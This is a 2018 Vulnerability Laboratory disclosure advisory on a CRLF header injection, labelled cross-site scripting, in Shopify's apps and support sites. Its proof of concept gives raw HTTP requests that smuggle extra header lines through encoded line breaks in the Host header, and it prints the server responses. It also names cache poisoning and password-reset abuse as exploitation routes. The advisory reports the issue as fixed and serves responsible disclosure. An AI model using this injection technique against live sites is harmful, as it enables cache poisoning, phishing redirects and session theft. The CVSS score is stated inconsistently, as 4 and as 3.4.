Shopify - (Link Return) Client Side Web Vulnerability

Document Title:
===============
Shopify - (Link Return) Client Side Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1550


Release Date:
=============
2018-06-12


Vulnerability Laboratory ID (VL-ID):
====================================
1550


Common Vulnerability Scoring System:
====================================
4


Vulnerability Class:
====================
Cross Site Scripting - Non Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Shopify is a Canadian commerce company headquartered in Ottawa, Ontario that develops computer software for online stores and retail 
point-of-sale systems. Shopify was founded in 2004, and was initially based on earlier software written by its founders for their online 
snowboard store. The company reports that it has 150,000 merchants using its platform, with total gross merchandise volume exceeding $8 billion.

(Copy of the Homepage:  https://en.wikipedia.org/wiki/Shopify )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered a client-side header inject web vulnerability in the official Shopify online service web-application.


Vulnerability Disclosure Timeline:
==================================
2018-06-13: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Shopify Inc.
Product: Shopify - Online Service (Web-Application) 2015 Q3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (Guest Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
A client-side cross site scripting web vulnerability has been discovered in the official in the official Shopify online service web-application.
The non-persistent xss vulnerability allows remote attackers to inject own script code to the client-side of the vulnerable online-service module.

The vulnerability is located in the `Link` value of the `apps.shopify.com/ ` and `support.shopify.com/` module. Remote attackers are able to 
inject own script codes to client-side application header requests. The attack vector is non persistent and the request method to inject/execute 
is GET. The vulnerable source is located in the `apps.shopify.com/ ` and `support.shopify.com/` module when processing to request the link value.

The security risk of the header inject web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.4. 
Exploitation of the client-side header inject web vulnerability requires no privilege web application user account and low user interaction. 
Successful exploitation results in client-side account theft by hijacking, client-side phishing, client-side external redirects and non-persistent 
manipulation of affected or connected service modules.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] apps.shopify.com
[+] support.shopify.com

Vulnerable Parameter(s):
[+] Link value - return


Proof of Concept (PoC):
=======================
The client-side vulnerability can be exploited by remote attackers without privilege web-application user account.
For security demonstration or to reproduce follow the provided information and steps below to continue. 

Note:
An attacker can manipulate the Host header as seen by the web application and cause the application to behave in unexpected ways.
http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html http://carlos.bueno.org/2008/06/host-header-injection.html 
The above links mentioned 2 different ways to exploit this issue:

Web-cache poisoning and/or
Using alternate channels like password reset emails.

1. https://support.shopify.com/

GET / HTTP/1.1
Host: site.com%0D%0a;test=evil.source%0D%0Atest="bugbounty"%0d%0a
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: application/font-woff;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: identity
Referer: https://support.shopify.com/assets/application-a83dc650ef348bfa0e545a9644a8536c.css
Origin: https://docs.shopify.com
X-Forwarded-For: 8.8.8.8
Connection: keep-alive

Response: 
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 17 May 2015 21:10:38 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: Accept-Encoding
Status: 200 OK
Strict-Transport-Security: max-age=631152000; includeSubdomains
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block; report=/xss-report/c7a180e2-7745-4ebd-b2ce-ed37f8d392a3?source%5Baction%5D=index&source%5Bcontroller%5D=home&source%5Bsection%5D=support
X-Content-Type-Options: nosniff
X-Download-Options: noopen
Link: <https://site.com
Link: ;test=evil.source
Link: test="bugbounty"
Link: />; rel="canonical"
Content-Security-Policy-Report-Only: default-src 'self' https:; connect-src 'self' https: wss:; font-src 'self' https: data:; frame-src 'self' https: data:; img-src 'self' 
https: data:; media-src 'self' https: data:; object-src 'self' https:; script-src 'self' https: 'unsafe-inline' 'unsafe-eval'; style-src 'self' https: 'unsafe-inline'; 
report-uri /csp-report/c7a180e2-7745-4ebd-b2ce-ed37f8d392a3?source%5Baction%5D=index&source%5Bcontroller%5D=home&source%5Bsection%5D=support;
ETag: W/"7f7a987b6bb023de447e41cfee8319f1"
Cache-Control: max-age=0, private, must-revalidate
Set-Cookie: support_shopify_com_session=d3g4RWd2dXlVSkhrWTB4UEtwRkFZZWUxUUd4Y3dFcjJrUER3Z1pqUll5U3Fka3dwbkVES3Q0OGpRd1NrSk0yVm5ycG43WFFibDMza1JoRE1OSXVVZE96SlQySlNrN0t3SjVEL1o0MTB0cj
RZMDZKSks2RkJ1UEFYTCtPa1VhRmlVTmpMK1N2SjJiUUZiYUFKdVdFeDUvMGpqVDhaYTlXUmhQQ1pCTEVDZHYvTU9kVEpsWTNOL0pyODFGeEhPWm95LS10QTM0b3BBRzRZQm9PclhYUzQvaDdBPT0%3D--
c5ad1f89e76867a62b6ed3abf421c652e6fd70cd; path=/; secure; HttpOnly
X-Request-Id: c7a180e2-7745-4ebd-b2ce-ed37f8d392a3
X-Runtime: 0.009336
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Content-Length: 21674
<!DOCTYPE html>
<html>
<head>
<title>Support</title>
<meta name="google-site-verification" content="Qu2Oloy2MEBgLgnmmmCTQ-0TuRH40OIOx63D8L8MbYQ" />
<link rel="stylesheet" media="all" href="https://support.shopify.com/assets/application-a83dc650ef348bfa0e545a9644a8536c.css" data-turbolinks-track="true" />
<script src="https://support.shopify.com/assets/application-ad2b4b9e87c36329d5d1c8260c4e9fc3.js" data-turbolinks-track="true"></script>
<link rel="shortcut icon" type="image/x-icon" href="https://support.shopify.com/assets/favicon-40141eebe2a9da231b8cfa09b91684a4.ico" />
<meta name="csrf-param" content="authenticitytoken" />
<meta name="csrf-token" content="nzdtbz+8Q8p194jUK01GEbgrfSl/1yEJELGMWiG84Ms75SL63rZ0SIsmXq71iEd4sWCEOFRRWIbiHafLXlUQuw==" />
<link rel="canonical" href="https://site.com
;test=evil.source
test="bugbounty"
/" />
</head>

<form name="authentication-form" action="https://tasker-merchant-auth.herokuapp.com/auth/shopify" 
accept-charset="UTF-8" method="get"><input name="utf8" type="hidden" value="&#10003;" />
<input type="hidden" name="auth_type" id="auth_type" value="phone" />
<input type="hidden" name="return_to" id="return_to" value="https://site.com%0D%0a;test=evil.source%0D%0Atest="bugbounty"%0d%0a/" />
<label for="shop">Store URL:</label>
<input type="text" name="shop" id="shop" placeholder="your-shop-url.myshopify.com" class="authentication-shop" />
<span class="shop-error"></span>
<input type="submit" name="commit" value="Authenticate" class="button-secondary btn-submit" />
</form>

Note: Now, you can see the injection point
1. Link: <https://site.com
Link: ;test=evil.source
Link: test="bugbounty"
Link: />; rel="canonical"

2.
<link rel="canonical" href="https://site.com
;test=evil.source
test="bugbounty"
/" />
3.
<input type="hidden" name="return_to" id="return_to" value="https://site.com%0D%0a;test=evil.source%0D%0Atest="bugbounty"%0d%0a/" />

https://apps.shopify.com/

GET / HTTP/1.1
Host: site.com%0D%0a;test=evil.source%0D%0A;test="bugbounty"%0d%0a
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://shopify.com
Cookie: ajs_user_id=null; ajs_group_id=null;

Response(s):
HTTP/1.1 200 OK
Server: nginx
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: Accept-Encoding
Status: 200 OK
Strict-Transport-Security: max-age=631152000; includeSubdomains
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-Download-Options: noopen
Link: <https://site.com
Link: ;test=evil.source
Link: ;test="bugbounty"
Link: />; rel="canonical"
Content-Security-Policy-Report-Only: default-src 'self' https:; connect-src 'self' https: wss:; font-src 'self' https: data:; 
frame-src 'self' https: data:; img-src 'self' https: data:; 
media-src 'self' https: data:; object-src 'self' https:; script-src 'self' https: 'unsafe-inline' 'unsafe-eval'; style-src 'self' 
https: 'unsafe-inline'; report-uri 
/csp-report/c8379ed8-6af7-4c00-8fae-b9850ea3576c?source%5Baction%5D=index&source%5Bcontroller%5D=
shopify_applications&source%5Bsection%5D=external-area;
X-XSS-Protection: 1; mode=block; report=/xss-report/c8379ed8-6af7-4c00-8fae-b9850ea3576c?source%5Baction%5D=index&source%5Bcontroller%5D=
shopify_applications&source%5Bsection%5D=external-area
ETag: W/"c68f34dcf8f04088c252693e3e55b997"
Cache-Control: max-age=0, private, must-revalidate
X-Request-Id: 679d8da048affe45b090a6da670ffbc6
X-Runtime: 0.021336
X-App-Name: appstore
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Content-Length: 94662

Injection(s):
Link: <https://site.com
Link: ;test=evil.source
Link: ;test="bugbounty"
Link: />; rel="canonical"


Reference(s):
https://apps.shopify.com/ 
https://support.shopify.com/


Solution - Fix & Patch:
=======================
The full impact of the issue was finally resolved in 2017 Q1-Q2. The disclosure process took about one year after the patch as established.


Security Risk:
==============
The security risk of the header inject web vulnerability in the shopify online service web-application is estimated as medium (cvss 3.4).


Credits & Authors:
==================
Vulnerability Laboratory [Core Research Team] - ([email protected]) [www.vulnerability-lab.com]


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=========================
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